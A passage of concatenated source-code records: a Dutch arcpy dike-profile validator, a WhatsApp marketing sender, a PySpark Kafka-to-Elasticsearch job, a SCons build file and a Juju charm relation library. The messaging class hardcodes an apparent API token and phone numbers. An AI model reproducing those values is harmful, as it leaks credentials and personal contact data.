Vkol + \" = '\" + Vaknaam + \"'\" # punt moet een prfl type hebben.\r\ncount = len(list(i for i in arcpy.da.SearchCursor(VakFC, Skolommen, where_clause=expressie)))\r\n# -------------------------\r\nwith arcpy.da.SearchCursor(VakFC, Skolommen, where_clause=expressie) as Scursor:\r\n for Srow in Scursor:\r\n ID = Srow[2].replace('-','_')\r\n Zkrn = Srow[4]\r\n VAK = str(Srow[3])\r\n ProfType = Srow[5]\r\n #--\r\n arcpy.AddMessage(\"\\n >>> ----------------------------------\")\r\n arcpy.AddMessage(\" >>> VakID: \"+str(ID))\r\n arcpy.AddMessage(\" >>> ----------------------------------\") \r\n arcpy.AddMessage(\" VakNaam: \"+str(VAK))\r\n arcpy.AddMessage(\" Kruinhoogte: \"+str(round(Zkrn,2))+\"m\")\r\n arcpy.AddMessage(\" Type dijk: \"+str(ProfType)+\"\\n\")\r\n #---------------------------------------------------------\r\n#---------------------------------------------------------\r\n# profielpunten selecteren.\r\nPnm = \"PRFL_P_\"+ID\r\nPshp = oDS+\"/\"+Pnm\r\n#---------------------------------------------------------\r\n# Als de FC er niet is dan vak overslaan.\r\nPchk = arcpy.Exists(Pnm)\r\n#---------------------------------------------------------\r\nif Pchk:\r\n ##### Zorgen dat er geen selectie op de laag zit.\r\n #####arcpy.SelectLayerByAttribute_management(Pshp,\"CLEAR_SELECTION\")\r\n # Create update cursor for feature class\r\n # Create an expression\r\n expression = kol + \" LIKE '%_prfl'\" # punt moet een prfl type hebben.\r\n nr = 0\r\n # -------------------------\r\n # aantallen bepalen en XZ uitlezen\r\n XZall = []\r\n XZvoorl = []\r\n XZteen = []\r\n XZdamw = []\r\n XZkruin = []\r\n XZtaludk = []\r\n Err = False\r\n # totaal\r\n count = len(list(i for i in arcpy.da.SearchCursor(Pshp, kolommen, where_clause=expression)))\r\n arcpy.AddMessage(\" > Totaal aantal punten: \"+str(count))\r\n arcpy.AddMessage(\" >\")\r\n # -------------------------\r\n with arcpy.da.UpdateCursor(Pshp, kolommen, where_clause=expression) as cursor:\r\n for row in cursor:\r\n nr = nr + 1\r\n naam = row[2]\r\n # Punt toevoegen aan de totaal array\r\n XZall.append([round(row[0],3),round(row[1],3),row[4]])\r\n # even kijken welk type punt we hebben en XZ vastleggen\r\n # Voorland\r\n if (naam == \"Voorland_prfl\"):\r\n XZvoorl.append([round(row[0],3),round(row[1],3),row[4]])\r\n elif (naam == \"Buitenteen_prfl\"):\r\n XZteen.append([round(row[0],3),round(row[1],3),row[4]])\r\n elif (naam == \"Damwand_prfl\"):\r\n XZdamw.append([round(row[0],3),round(row[1],3),row[4]])\r\n elif (naam == \"Buitenkruin_prfl\"):\r\n XZkruin.append([round(row[0],3),round(Zkrn,3),row[4]]) # Kruin moet Z krijgen uit kolom van Vak.\r\n elif (naam == \"Taludknik_prfl\"):\r\n XZtaludk.append([round(row[0],3),round(row[1],3),row[4]])\r\n else:\r\n arcpy.AddWarning(\" > onbekend punt! : \"+naam)\r\n # opmerking bij punt wegschrijven.\r\n row[3] = \"ok\" \r\n cursor.updateRow(row)\r\n # Nu de aantallen controleren\r\n # Voorland\r\n arcpy.AddMessage(\" > n voorland: \"+str(len(XZvoorl)))\r\n if len(XZvoorl) < 1:\r\n arcpy.AddError(\" minimaal 1 voorland punt nodig!\")\r\n Err = True\r\n # Damwand\r\n arcpy.AddMessage(\" > n damwand: \"+str(len(XZdamw)))\r\n arcpy.AddMessage(\" > n teen: \"+str(len(XZteen)))\r\n arcpy.AddMessage(\" > n taludknikpunt: \"+str(len(XZtaludk)))\r\n arcpy.AddMessage(\" > n kruin: \"+str(len(XZkruin)))\r\n if ProfType == \"damwand\":\r\n if len(XZdamw) == 1:\r\n arcpy.AddMessage(\" 1 damwandpunt!\\n dus geen kruin of teen nodig.\")\r\n elif len(XZdamw) > 1:\r\n arcpy.AddError(\" meer dan 1 damwandpunt!\")\r\n Err = True\r\n elif len(XZdamw) < 1:\r\n arcpy.AddError(\" geen damwandpunt!\")\r\n Err = True\r\n elif ProfType == \"groene dijk\":\r\n # BuitenTeen\r\n if len(XZteen) > 1:\r\n arcpy.AddError(\" meer dan 1 teen punt!\")\r\n Err = True\r\n if len(XZteen) < 1:\r\n arcpy.AddError(\" minimaal 1 teen punt nodig!\")\r\n Err = True\r\n # BuitenKruin\r\n if len(XZkruin) > 1:\r\n arcpy.AddError(\" meer dan 1 kruin punt!\")\r\n Err = True\r\n if len(XZkruin) < 1:\r\n arcpy.AddError(\" minimaal 1 kruin punt nodig!\")\r\n Err = True\r\n # Talud knikpunt (max 4 punten)\r\n if len(XZtaludk) > 4:\r\n arcpy.AddError(\" meer dan 4 Taludknikpunten!\")\r\n Err = True\r\n else:\r\n Err = True\r\n arcpy.AddMessage(\" >\")\r\n # taludpunten sorteren\r\n XZtaludk = sorted(XZtaludk)\r\n # voorlandpunten sorteren\r\n XZvoorl = sorted(XZvoorl)\r\n # alle punten sorteren\r\n XZall = sorted(XZall)\r\n #------------------------------------------------\r\n # als alle punten zijn doorlopen dan verder.\r\n #------------------------------------------------\r\n #----------------------------------------------------------------------------------------------------------------\r\n #----------------------------------------------------------------------------------------------------------------\r\n if ProfType == \"groene dijk\" and not Err:\r\n # Nu controleren\r\n #---------------------------------------------------------\r\n # ---- Controle: Simpele check ----\r\n #---------------------------------------------------------\r\n arcpy.AddMessage(\" >>> ----------------------------------\")\r\n arcpy.AddMessage(\" >>> Controleren puntvolgorde groene dijk profiel...\")\r\n #----------------------------------------\r\n # Controleren of Z kruin de grootste is en er geen punten verkeerd liggen\r\n # Voorlandpunten voor de Teen en taludpunten tussen teen en kruin. Z van alle punten < Z kruin. \r\n #----------------------------------------\r\n # alle punten moeten lager of gelijk aan de buitenkruin+ zijn.\r\n for zp in XZall:\r\n # Z vd kruin is in XZall niet de ingevoerde Z maar de ingeklikte Z en dus niet juist. punt uitsluiten bij deze check.\r\n if zp[1] > XZkruin[0][1] and [zp[0],zp[2]] != [XZkruin[0][0],XZkruin[0][2]]:\r\n expr = objID + str(zp[2])\r\n melding = \"Profielpunt ligt hoger dan de Kruin!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n # voorland voor de teen\r\n if len(XZvoorl) > 0 and len(XZteen) == 1:\r\n for xz in XZvoorl:\r\n if xz[0] > XZteen[0][0]:\r\n expr = objID + str(xz[2])\r\n melding = \"voorland punt ligt voorbij de buitenteen!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n if xz[1] < XZvoorl[0][1]:\r\n expr = objID + str(xz[2])\r\n melding = \"voorland punt is lager dan 1e voorlandpunt!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n if XZvoorl[0][1] > XZteen[0][1]:\r\n expr = objID + str(XZteen[0][2])\r\n melding = \"Teen punt is lager dan 1e voorlandpunt!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n if len(XZtaludk) > 0 and len(XZkruin) == 1:\r\n for xz in XZtaludk:\r\n if xz[0] > XZkruin[0][0]:\r\n expr = objID + str(xz[2])\r\n melding = \"taludknikpunt ligt voorbij de Kruin!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n elif xz[0] < XZteen[0][0]:\r\n expr = objID + str(xz[2])\r\n melding = \"taludknikpunt ligt voor de buitenteen!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n if len(XZkruin) == 1 and len(XZteen) == 1:\r\n if XZteen[0][0] > XZkruin[0][0]:\r\n expr = objID + str(XZteen[0][2])\r\n melding = \"Teen punt ligt voorbij de Kruin!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n #---------------------------------------------------------\r\n # ---- Controle: TEEN naar KRUIN ----\r\n #---------------------------------------------------------\r\n arcpy.AddMessage(\" >>> ----------------------------------\")\r\n arcpy.AddMessage(\" >>> Controleren Teen -> Kruin...\")\r\n XZteenkruin = []\r\n XZteenkruin.append(XZteen[0])\r\n for pnt in XZtaludk:\r\n XZteenkruin.append(pnt)\r\n XZteenkruin.append(XZkruin[0])\r\n # nu X > 2m, helling en Z oplopend controleren\r\n nr_taluddeel = 0\r\n n_taludbermen = 0\r\n for pnt in XZteenkruin: \r\n nr_taluddeel += 1\r\n arcpy.AddMessage(\"\\n nr_taluddeel: \"+str(nr_taluddeel))\r\n arcpy.AddMessage(\" Puntnummer(oid): \"+str(pnt[2])+\" X: \"+str(pnt[0])+\"m \"+\" Z: \"+str(pnt[1])+\"m\")\r\n # 1e punt\r\n if pnt[2] == XZteen[0][2]:\r\n Xp0 = XZteen[0][0]\r\n Zp0 = XZteen[0][1]\r\n else:\r\n Zp = pnt[1]\r\n Xp = pnt[0]\r\n if Zp < Zp0:\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Z taludpunt lager dan voorgaand punt!\"\r\n Err = SchrijfError(expr,melding)\r\n arcpy.AddError(\" \"+melding+\", \"+str(Zp)+\"m < \"+str(Zp0)+\"m\")\r\n dtx = Xp - Xp0\r\n dtz = Zp - Zp0\r\n arcpy.AddMessage(\" afstand: horizontaal: \"+str(dtx)+\"m\"+\" / verticaal: \"+str(dtz)+\"m\")\r\n if dtx < 2:\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Taludpunten liggen te dicht bij elkaar!\"\r\n Err = SchrijfError(expr,melding)\r\n arcpy.AddError(\" \"+melding+\" \"+str(dtx)+\"m\\n\"+\" \"+\"Moeten minimaal 2m uit elkaar liggen.\")\r\n # helling controleren\r\n Hk1 = round((dtx / dtz), 2) #op 2 decimalen\r\n arcpy.AddMessage(\" helling: \"+str(Hk1))\r\n # check of taluddeel bermdeel is? max. 2 stuks.\r\n if (nr_taluddeel == 2 or nr_taluddeel == 6):\r\n if (nr_taluddeel == 2):\r\n arcpy.AddMessage(\" 1e Taluddeel.\")\r\n elif (nr_taluddeel == 6):\r\n arcpy.AddMessage(\" 5e Taluddeel.\")\r\n if (Hk1 >= 15.0 and Hk1 <= 100.0 and nr_taluddeel in [1,3,4,5]):\r\n arcpy.AddMessage(\" Bermdeel!\")\r\n n_taludbermen += 1\r\n # mogen maar 2 bermen zijn\r\n if n_taludbermen > 2:\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Meer dan 2 bermen niet mogelijk!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n else:\r\n arcpy.AddMessage(\" > OK\")\r\n elif (Hk1 <= 1.0 or Hk1 >= 8.0):\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Taludhelling niet tussen 1:1 en 1:8 of > 1:15!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n else:\r\n arcpy.AddMessage(\" > OK\")\r\n # punt doorschuiven naar 1e punt tbv check volgend punt.\r\n Xp0 = Xp\r\n Zp0 = Zp\r\n arcpy.AddMessage(\" -------\")\r\n #---------------------------------------------------------\r\n # ---- Controle: VOORLAND naar TEEN ----\r\n #---------------------------------------------------------\r\n arcpy.AddMessage(\" >>> ----------------------------------\")\r\n arcpy.AddMessage(\" >>> Controleren Voorland -> Teen...\")\r\n XZvoorlteen = XZvoorl\r\n XZvoorlteen.append(XZteen[0])\r\n if len(XZvoorlteen) > 1:\r\n for pnt in XZvoorlteen: \r\n arcpy.AddMessage(\"\\n Puntnummer(oid): \"+str(pnt[2])+\" X: \"+str(pnt[0])+\"m \"+\" Z: \"+str(pnt[1])+\"m\")\r\n # 1e punt\r\n if pnt[2] == XZvoorl[0][2]:\r\n Xp0 = XZvoorl[0][0]\r\n Zp0 = XZvoorl[0][1]\r\n else:\r\n Zp = pnt[1]\r\n Xp = pnt[0]\r\n dtx = Xp0 - Xp\r\n dtz = Zp0 - Zp\r\n arcpy.AddMessage(\" afstand: horizontaal: \"+str(dtx)+\"m\"+\" / verticaal: \"+str(dtz)+\"m\")\r\n if abs(dtx) < 10:\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Voorlandpunten liggen te dicht bij elkaar!\"\r\n Err = SchrijfError(expr,melding)\r\n arcpy.AddError(\" \"+melding+\" \"+str(abs(dtx))+\"m\\n\"+\" \"+\"Moeten minimaal 10m uit elkaar liggen.\")\r\n # helling controleren\r\n Hk = round((dtx / dtz), 2) #op 2 decimalen\r\n arcpy.AddMessage(\" helling: \"+str(Hk))\r\n if (abs(Hk) < 10.0):\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Voorlandhelling te steil! maximaal 1:10\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n else:\r\n arcpy.AddMessage(\" > OK\")\r\n # punt doorschuiven naar 1e punt tbv check volgend punt.\r\n Xp0 = Xp\r\n Zp0 = Zp\r\n arcpy.AddMessage(\" -------\")\r\n else:\r\n arcpy.AddWarning(\" geen voorlandpunten aanwezig.\")\r\n #----------------------------------------------------------------------------------------------------------------\r\n #----------------------------------------------------------------------------------------------------------------\r\n elif ProfType == \"damwand\" and not Err:\r\n # Nu controleren\r\n #---------------------------------------------------------\r\n # ---- Controle: Simpele check ----\r\n #---------------------------------------------------------\r\n arcpy.AddMessage(\" >>> ----------------------------------\")\r\n arcpy.AddMessage(\" >>> Controleren puntvolgorde damwand profiel...\")\r\n #----------------------------------------\r\n # Bij een damwand hebben we alleen voorland punten en 1 damwandpunt(onderkant bodem damwand)\r\n # Controleren of Z van de punten > is dan het 1e voorlandpunt\r\n # Voorlandpunten mogen niet binnenwaarts van het damwandpunt liggen. \r\n #----------------------------------------\r\n # voorland voor de damwand\r\n if len(XZvoorl) > 0 and len(XZdamw) == 1:\r\n for xz in XZvoorl:\r\n if xz[0] > XZdamw[0][0]:\r\n expr = objID + str(xz[2])\r\n melding = \"voorland punt ligt binnenwaarts van de damwand!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n if xz[1] < XZvoorl[0][1]:\r\n expr = objID + str(xz[2])\r\n melding = \"voorland punt is lager dan 1e voorlandpunt!\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n #---------------------------------------------------------\r\n # ---- Controle: VOORLAND naar TEEN ----\r\n #---------------------------------------------------------\r\n arcpy.AddMessage(\" >>> ----------------------------------\")\r\n arcpy.AddMessage(\" >>> Controleren Voorland -> Damwand...\")\r\n XZvoorldamw = XZvoorl\r\n XZvoorldamw.append(XZdamw[0])\r\n if len(XZvoorldamw) > 1:\r\n for pnt in XZvoorldamw: \r\n arcpy.AddMessage(\"\\n Puntnummer(oid): \"+str(pnt[2])+\" X: \"+str(pnt[0])+\"m \"+\" Z: \"+str(pnt[1])+\"m\")\r\n # 1e punt\r\n if pnt[2] == XZvoorl[0][2]:\r\n Xp0 = XZvoorl[0][0]\r\n Zp0 = XZvoorl[0][1]\r\n else:\r\n Zp = pnt[1]\r\n Xp = pnt[0]\r\n dtx = Xp0 - Xp\r\n dtz = Zp0 - Zp\r\n arcpy.AddMessage(\" afstand: horizontaal: \"+str(dtx)+\"m\"+\" / verticaal: \"+str(dtz)+\"m\")\r\n if abs(dtx) < 10:\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Voorlandpunten liggen te dicht bij elkaar!\"\r\n Err = SchrijfError(expr,melding)\r\n arcpy.AddError(\" \"+melding+\" \"+str(abs(dtx))+\"m\\n\"+\" \"+\"Moeten minimaal 10m uit elkaar liggen.\")\r\n # helling controleren\r\n Hk = round((dtx / dtz), 2) #op 2 decimalen\r\n arcpy.AddMessage(\" helling: \"+str(Hk))\r\n if (abs(Hk) < 10.0):\r\n # punt selecteren in de cursor en opmerking bij punt wegschrijven.\r\n expr = objID + str(pnt[2])\r\n melding = \"Voorlandhelling te steil! maximaal 1:10\"\r\n arcpy.AddError(\" \"+melding)\r\n Err = SchrijfError(expr,melding)\r\n else:\r\n arcpy.AddMessage(\" > OK\")\r\n # punt doorschuiven naar 1e punt tbv check volgend punt.\r\n Xp0 = Xp\r\n Zp0 = Zp\r\n arcpy.AddMessage(\" -------\")\r\n else:\r\n arcpy.AddWarning(\" geen voorlandpunten aanwezig.\")\r\n#-----------------------------------------------------------------------------------\r\n#-----------------------------------------------------------------------------------\r\narcpy.AddWarning(\"\\n >>> ----------------------------------\")\r\nif Err:\r\n arcpy.AddWarning(\" >>> Alle \"+str(len(XZall))+\" punten gecontroleerd!\\n\")\r\n arcpy.AddError(\" -- Fouten gevonden!! --\")\r\nelse:\r\n arcpy.AddWarning(\" >>> Alle \"+str(len(XZall))+\" punten gecontroleerd!\\n\")\r\n arcpy.AddWarning(\" >>> Alles OK!\")\r\narcpy.AddMessage(\" >>> ----------------------------------\")\r\narcpy.AddWarning(\"\\n >>> KLAAR! <<<\\n\")\r\n","sub_path":"Scripts-rijnenijssel-edwin/scripts_v2/prfl_04_controleer_prfl.py","file_name":"prfl_04_controleer_prfl.py","file_ext":"py","file_size_in_byte":23267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"297661089","text":"import requests\nimport logging\nfrom random import randint\nimport time\n\nlogger = logging.getLogger(__name__)\n\nclass Message:\n\n def __init__(self):\n logger.info('Objeto message instanciado')\n\n def send_msg(self, phone, msg):\n url = 'https://www.waboxapp.com/api/send/chat'\n token = 'e0701f135b971ae33650947a64af59465c29e0cc04ea9'\n origin = '555139021791'\n\n obj = {\n 'token': token,\n 'uid': origin,\n 'to': phone,\n 'text': msg \n }\n\n x = requests.post(url, data = obj)\n logger.info(x.text)\n logging.debug(\"Enviando msg\")\n\n def dayone_messages(self):\n\n logger.debug(\"Enviando dayone messages\")\n\n msgs = [\n # msg 1\n \"Ooi, boa tarde, tudo jóia?! \\n\"\n \"Aqui é o Gabriel da Suitable, somos uma empresa aqui de Santa Cruz do Sul - RS.\",\n # msg 2\n 'Encontrei vocês nas redes sociais, gostei da forma como trabalham e me chamou a atenção, vi que tem um produto muito bom, de qualidade, bem apresentado..',\n # msg 4\n \"Isto me chamou a atenção, hoje trabalhamos com automatização de WhatsApp, aplicativo de pedidos e sistema de gestão, com essas soluções, possibilitamos a padronização do atendimento, aumento de vendas e redução de custos 😊\",\n # msg 5\n \"Você tem um tempinho para falarmos a respeito disso? \\n\"\n \"Desde já, agradeço a atenção!\",\n ]\n\n for m in msgs:\n self.send_msg('555199959269', m)\n \n logger.debug(\"Finalizando ciclo envio messages dayone\")\n","sub_path":"processors/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"631153351","text":"# Imports and running findspark\r\nimport findspark\r\nimport json\r\nfrom datetime import datetime\r\nfrom pyspark.sql import functions as F\r\n\r\nfindspark.init('/home/bigdata/spark-2.4.3-bin-hadoop2.7')\r\nimport pyspark\r\nfrom pyspark import RDD\r\nfrom pyspark import SparkContext\r\nfrom pyspark.streaming import StreamingContext\r\nfrom pyspark.streaming.kafka import KafkaUtils\r\nfrom pyspark.sql import SparkSession\r\nimport json # Spark context details\r\n\r\n\r\ndef process_stream(record, spark):\r\n columns = [\"Station\", \"Date\", \"Last update\", \"Places\", \"Available_bikes\", \"Capacity\", \"Status\", \"Position\"]\r\n if not record.isEmpty():\r\n df = spark.createDataFrame(record, columns)\r\n df = df.filter(df[\"Station\"] < 1000) # delete 1,033 station which is not in Toulouse\r\n df.show()\r\n df.write.format(\r\n 'org.elasticsearch.spark.sql'\r\n ).mode(\r\n 'overwrite' # or .mode('append')\r\n ).option(\r\n 'es.nodes', 'localhost'\r\n ).option(\r\n 'es.port', 9200\r\n ).option(\r\n 'es.resource', '%s/%s' % ('velotoulouse-geo', '_doc'),\r\n ).save()\r\n\r\n\r\nsc = SparkContext(appName=\"PythonSparkStreamingKafka\")\r\nspark = SparkSession(sc)\r\nssc = StreamingContext(sc, 2) # Creating Kafka direct stream\r\ndks = KafkaUtils.createDirectStream(ssc, [\"velib\"],\r\n {\"metadata.broker.list\": \"localhost:9092\"})\r\n\r\npairs = dks.map(lambda x: (int(x[0]), json.loads(x[1])))\r\n\r\npairs_registered = pairs.map(lambda x: (x[0],\r\n str(datetime.now().strftime(\"%m/%d/%Y %H:%M\")), x[1].get(\"last_update\"),\r\n x[1].get(\"available_bike_stands\"),\r\n x[1].get('available_bikes'), x[1].get('bike_stands'), x[1].get('status'), str(x[1].get('position').get('lat'))+\",\"+\r\n str(x[1].get('position').get('lng'))))\r\n\r\npairs_registered.foreachRDD(lambda rdd: process_stream(rdd, spark))\r\n\r\n\r\nssc.start()\r\nssc.awaitTermination()\r\n","sub_path":"kafka_to_es.py","file_name":"kafka_to_es.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"101853755","text":"# -*- python -*-\n# $Header: /nfs/slac/g/glast/ground/cvs/xmlUtil/SConscript,v 1.12 2012/01/23 19:48:16 jrb Exp $\n# Authors: Joanne Bogart \n# Version: xmlUtil-03-05-00\nImport('baseEnv')\nImport('listFiles')\nImport('packages')\nprogEnv = baseEnv.Clone()\nlibEnv = baseEnv.Clone()\n\nlibEnv.Tool('addLinkDeps', package='xmlUtil', toBuild='shared')\nxmlUtil = libEnv.SharedLibrary('xmlUtil',\n ['src/Arith.cxx', 'src/Substitute.cxx',\n 'src/Constants.cxx', 'src/Source.cxx',\n 'src/id/DictConstraints.cxx',\n 'src/id/DictField.cxx', 'src/id/DictFieldMan.cxx',\n 'src/id/DictNode.cxx','src/id/DictValidVisitor.cxx',\n 'src/id/IdConversion.cxx','src/id/IdConverter.cxx',\n 'src/id/IdDict.cxx', 'src/id/IdDictMan.cxx',\n 'src/id/Identifier.cxx', 'src/id/IdOpCompress.cxx',\n 'src/id/IdOpTruncate.cxx','src/id/IdOperation.cxx',\n 'src/id/NamedId.cxx', 'src/id/IdKey.cxx',\n 'src/docMan/GDDDocMan.cxx'])\n\nprogEnv.Tool('xmlUtilLib')\nbyId_test = progEnv.Program('byId_test',[ 'src/byId_test/byId_test.cxx'])\narith_test = progEnv.Program('arith_test',[ 'src/arith_test/arith_test.cxx'])\n\neval = progEnv.Program('eval', ['src/eval.cxx', 'src/local/outUtils.cxx'])\nforProg = progEnv.Program('forProg', ['src/makeXmlForProg.cxx',\n 'src/local/outUtils.cxx'])\nforDoc = progEnv.Program('forDoc', ['src/makeXmlForDoc.cxx',\n 'src/local/outUtils.cxx'])\n\ntestId = progEnv.Program('testId',[ 'src/id/testId.cxx'])\ntestDocMan = progEnv.Program('testDocMan',[ 'src/docMan/test_docMan.cxx'])\ntestKey = progEnv.Program('testKey', ['src/id/testKey.cxx'])\n\nprogEnv.Tool('registerTargets', package = 'xmlUtil',\n libraryCxts = [[xmlUtil, libEnv]],\n testAppCxts = [[byId_test,progEnv], [arith_test,progEnv]],\n binaryCxts = [[eval,progEnv], [forProg, progEnv],\n [forDoc, progEnv], [testId, progEnv],\n [testDocMan, progEnv], [testKey, progEnv]],\n includes = listFiles(['xmlUtil/*'], recursive = 1))\n\n\n\n\n","sub_path":"SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"259333434","text":"# Copyright 2021 Canonical Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"A management layer for charm relations.\"\"\"\n\nimport json\nimport logging\nimport semantic_version as semver\n\nfrom ops.charm import CharmEvents\nfrom ops.framework import (\n Object, EventSource, EventBase, StoredState\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass ProviderBase(Object):\n \"\"\"Manages relations of service providers.\n\n A :class:`ProviderBase` object manages relations of a service provider\n charms, with charms that consume those services. When a consumer\n charm joins the relation a provider object informs it of the type\n and version of the service provided. Providers may also be\n instrumented to inform consumer charms of any relevant\n information, for example configuration settings. This is done\n using the `service` and `version` argument of the\n :class:`ProviderBase` constructor.\n\n Any charm that provides a service may choose to do so through the\n :class:`ProviderBase` object simply by instantiating it in the charm's\n `__init__` method, as follows\n\n Example::\n\n self.provider = Provider(self, relation_name, service, version)\n ...\n self.provider.ready()\n\n It is important to invoke `ready()` on the :class:`ProviderBase`\n object, in order to let the consumer charm know that the provider\n is serving requests. This is done by setting a Boolean flag\n `ready` in the data forwarded to the consumer charm. A provider\n charm may toggle this flag by invoking `unready()` when it\n is unable to service any requests for example prior to a series\n upgrade. After an upgrade the :class:`ProviderBase` object notifies\n consumer charms by re-sending type, version and any other data to\n the consumer. Even though :class:`ProviderBase` objects only handle\n relation joined and provider upgrade events, they may be\n sub-classed to extend their functionality in any way desired.\n\n Args:\n charm: :class:`ops.charm.CharmBase` derived object that is\n instantiating :class:`ProviderBase`. This is almost always\n `self`.\n name: string name of relation (as defined in `metadata.yaml`) that\n consumer charms will use to interact with provider charms.\n service: a string naming service being provided by this charm.\n For example for a MySQL charm service could be \"mysql\".\n This name must be consistent between :class:`ProviderBase`\n and :class:`ConsumerBase`\n version: a string providing version of service provided by the\n charm. This version string can be in any form that is\n compatible with the\n `semver `_ Python package.\n It is important that the version is obtained by actually\n querrying the deployed application rather than being written\n into the code. This is because the same charm may be used\n to deploy different versions of a service (application).\n \"\"\"\n _stored = StoredState()\n\n def __init__(self, charm, name, service, version=None):\n super().__init__(charm, name)\n\n self._stored.set_default(ready=False)\n self.name = name\n self.provides = {service: version}\n\n events = charm.on[name]\n self.framework.observe(events.relation_joined, self._on_consumer_joined)\n self.framework.observe(charm.on.upgrade_charm, self._on_upgrade)\n\n def _on_consumer_joined(self, event):\n \"\"\"Handle consumer joined event.\n\n Args:\n event: event object\n \"\"\"\n data = self._provider_data()\n\n if self.model.unit.is_leader():\n logger.debug(\"Providing for joined consumer : %s\", data)\n event.relation.data[self.model.app]['provider_data'] = json.dumps(data)\n\n def _on_upgrade(self, event):\n \"\"\"Handle a provider upgrade event.\n\n Args:\n event: event object\n \"\"\"\n self._notify_consumers()\n\n def _notify_consumers(self):\n \"\"\"Resend provider data to consumers.\"\"\"\n data = self._provider_data()\n if self.model.unit.is_leader():\n logger.debug(\"Notifying Consumer : %s\", data)\n for rel in self.framework.model.relations[self.name]:\n rel.data[self.model.app]['provider_data'] = json.dumps(data)\n\n def ready(self):\n \"\"\"Set provider state to ready.\"\"\"\n if not self.is_ready:\n logger.debug(\"Provider is ready\")\n self._stored.ready = True\n self._notify_consumers()\n\n def unready(self):\n \"\"\"Set provider state to unready.\"\"\"\n logger.debug(\"Provider is not ready\")\n self._stored.ready = False\n self._notify_consumers()\n\n def _provider_data(self):\n \"\"\"Construct relation data packet for consumer.\"\"\"\n data = dict()\n data['provides'] = self.provides.copy()\n data['ready'] = self._stored.ready\n return data\n\n @property\n def is_ready(self):\n \"\"\"Query state of provider.\"\"\"\n return self._stored.ready\n\n\nclass ProviderAvailable(EventBase):\n \"\"\"Event triggered when a valid provider is found.\n\n When a consumer charm forms a relation with a provider charm,\n their :class:`ConsumerBase` and :class:`ProviderBase` object exchange\n information to ascertain compatibility. If the relation is found\n to be compatible then the :class:`ConsumerBase` object raises a\n :class:`ProviderAvailable` event to inform the consumer charm, that\n a relation with the provider charm has been successful.\n \"\"\"\n def __init__(self, handle, data=None):\n super().__init__(handle)\n self.data = data\n\n def snapshot(self):\n \"\"\"Save relation data.\"\"\"\n return {\"data\": self.data}\n\n def restore(self, snapshot):\n \"\"\"Restore relation data.\"\"\"\n self.data = snapshot[\"data\"]\n\n\nclass ProviderInvalid(EventBase):\n \"\"\"Event triggered when a provider is not compatible.\n\n When a consumer charm forms a relation with a provider charm,\n their :class:`ConsumerBase` and :class:`ProviderBase` object exchange\n information to ascertain compatibility. If the relation is found\n not to be compatible then the :class:`ConsumerBase` object raises a\n :class:`ProviderInvalid` event to inform the consumer charm, that\n a relation with the provider charm has *not* been successful.\n \"\"\"\n def __init__(self, handle, data=None):\n super().__init__(handle)\n self.data = data\n\n def snapshot(self):\n \"\"\"Save relation data.\"\"\"\n return {\"data\": self.data}\n\n def restore(self, snapshot):\n \"\"\"Restore relation data.\"\"\"\n self.data = snapshot[\"data\"]\n\n\nclass ProviderUnready(EventBase):\n \"\"\"Event triggered when a provider is not ready.\n\n If a provider charm is not ready to service requests, when a\n consumer charm forms a new relation with it, or is already related\n to it, then a :class:`ProviderUnready` event is raised. This\n presumes that the provider charm has set its `ready` status to\n `False` or is set to `False` by default.\n\n The :class:`ProviderUnready` event is raised regardless of whether\n the provider charm is compatible or not. Compatibility checks are\n done only if the provider charm is ready to service requests. This\n event may be raised multiple times during the lifecycle of a charm.\n \"\"\"\n pass\n\n\nclass ProviderBroken(EventBase):\n \"\"\"Event raised when provider consumer relation is dissolved.\n\n If the relation between a provider and consumer charm is removed,\n then a :class:`ProviderBroken` relation is raised.\n \"\"\"\n 